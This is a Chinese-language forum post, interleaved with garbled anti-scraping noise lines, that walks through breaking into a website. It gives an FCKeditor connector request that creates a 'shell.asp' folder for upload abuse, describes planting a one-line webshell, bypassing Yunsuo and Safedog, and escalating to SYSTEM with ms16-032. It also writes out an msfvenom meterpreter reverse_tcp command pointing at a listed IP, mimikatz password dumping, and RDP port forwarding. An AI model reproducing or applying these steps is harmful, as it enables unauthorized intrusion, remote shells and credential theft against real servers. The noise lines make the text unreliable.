|
4 B; \" p; S! x# V# l
+ J) l5 X9 k' ^ 4 E; @- _) I/ C: Q6 F. V- n
# E* E; o/ J8 J- u7 x | ; i" [2 v8 ~ ]% ^& y2 ^
' t3 `9 ]$ p" o: u
* J4 a( n' T; Y k
一、 利用getwebshell篇
' U# L3 a; t) Y4 h3 \+ B7 I7 E
1 H$ {8 }0 U* W& y
首先对目标站进行扫描，发现是asp的，直接扫出网站后台和默认数据库，下载解密登陆如图：
0 H$ d8 `6 X. W& D4 v8 x) ` G6 y
3 p& F' D- Z. W
% |1 O! n: g+ I' t) ]. \# |下面进后台发现有fckeditor，而且还是iis6.0的，可以考虑创建个asp目录来构造解析（fck编辑器路径被改成别的需要burpsuite抓包的时候看到）
: K' K1 k3 ]$ B, U% q" }! g
8 x$ S3 e) w, t$ Z, f
下面我们构造一个asp目录，如： 8 l; F" I: F8 _) s# d
. _ k: ~3 [8 z" G& h
* ^5 i' o$ k( A5 V) m http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975
* C: M% ^: D4 [ ) W) }- c' _' H! \ N+ X7 H! o
( _* |5 n5 l" {0 E$ u" r( G9 W+ o
然后再给shell.asp目录上传一个jpg图片格式的一句话，然后用hatchet打开，然后看了一下支持aspx，那么我们就用包含的办法先把aspx后缀名改成.rar，然后再创建个111.ASPx，里面包含rar文件，进去以后看进程有云锁和安全狗，那么，那么我们慢慢来，慢慢来。
4 M% E" J! a1 L' q& g
0 w; O: l! K/ [
一、 绕过安全狗云锁提权并且加账号
- Y) q; H5 {* L2 c0 U1 N3 ~; N
0 {. [) S7 ~, s8 D没法看系统信息，但是根据网站404页面可以断定是2003服务器，然后接着访问C:\Program Files (x86)存在断定是2003 64位系统，那么我们说干就干，我们上传ms16-032 64位直接干，但是发现上传exe或者别的格式exp会自动消失，看进程也没杀毒呀，没错没杀毒，是云锁有个功能防御了，那么突破云锁上传的方法就是利用rar，先把exp打包为64.rar上传，然后我们翻一下rar在哪个目录，在C:\Program Files (x86)，然后开干
: S& D# b$ n/ }6 {* H, E
% ]& J1 u+ v1 O/ W: _ v) U2 V
如图：
2 K1 R5 L; o9 U* e ]# z
/ A9 u6 _8 A% U0 C) M3 ^6 \, I, \* @
然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组，我操后来也想着用getpassword64抓明文密码，但是一执行就卡死，没办法想到了metasploit
7 G1 I8 S8 i9 U6 G( {
- r$ p! z/ q+ R3 f5 M- D) r7 Y# h. A9 v
一、 利用metasploit
( \' q% O& F3 t& H
5 p6 J9 E. H( b) i2 D- y; O首先用pentestbox生成一个64位的payload如下命令
8 `# {" I* E: R) p( c( z6 L" H
( y c8 I! [' D
msfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe
& R1 i- o7 R* ~5 e1 F o4 Q
0 e9 B1 r5 Z7 p+ D- \5 q为什么要用443端口，之前我测试用别的端口直接被墙了没法上线，下面我们在system下执行这个mata，上线如图：
5 O/ a) @. }2 d* ?3 ~
' s$ t3 w9 A, f4 h
下面我们用这个命令抓一下明文密码命令1：use mimikatz 命令2：kerberos如下图：
% z g8 X( V+ S3 ^
1 j- A1 ?* K, t; x! b1 l
下面我们来做一个监听如下命令：
, t! A6 x2 t9 C" A3 N6 Q8 i
/ I, E$ ~( [0 ?. N3 A9 \2 f
portfwd add -l 6655 -p 3968 -r 127.0.0.1，这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图：
; R+ E% M. e9 f; c5 t+ c, j0 `( r" C( l
8 ^5 ^7 G3 A; j+ B7 h: R- [3 L 3 M' o( V: r- K5 L& X6 \- A3 U" V
|
( A5 D( s8 c2 T. j/ @ 5 e( O5 ]+ ~/ b) x8 \- u' i a
, N5 ~5 k# E: I3 S- a' Z8 E5 C
+ o! O0 a; v& b8 c. X- j% m, \1 t7 Y3 g0 s' l1 @! m( @. i7 ]
3 u+ ^: E9 h/ j' n; l
+ T+ o, K, ? S8 ]* p: K; [: Y
1 T& ~0 |, g; k& {4 {1 o
. p# H7 _2 K1 l. g
* m& L3 o6 K. K% ^4 z2 l9 ^- C
' c- n% U' J+ @% P9 k2 Z4 F 0 R3 m8 t0 m4 T
+ d5 K$ e" w" f! n8 c2 O
8 d" n4 ?+ r* z | 
发表于 2018-10-20 20:31:43
收藏
支持
反对
匿名
发表于 2021-11-20 23:30:06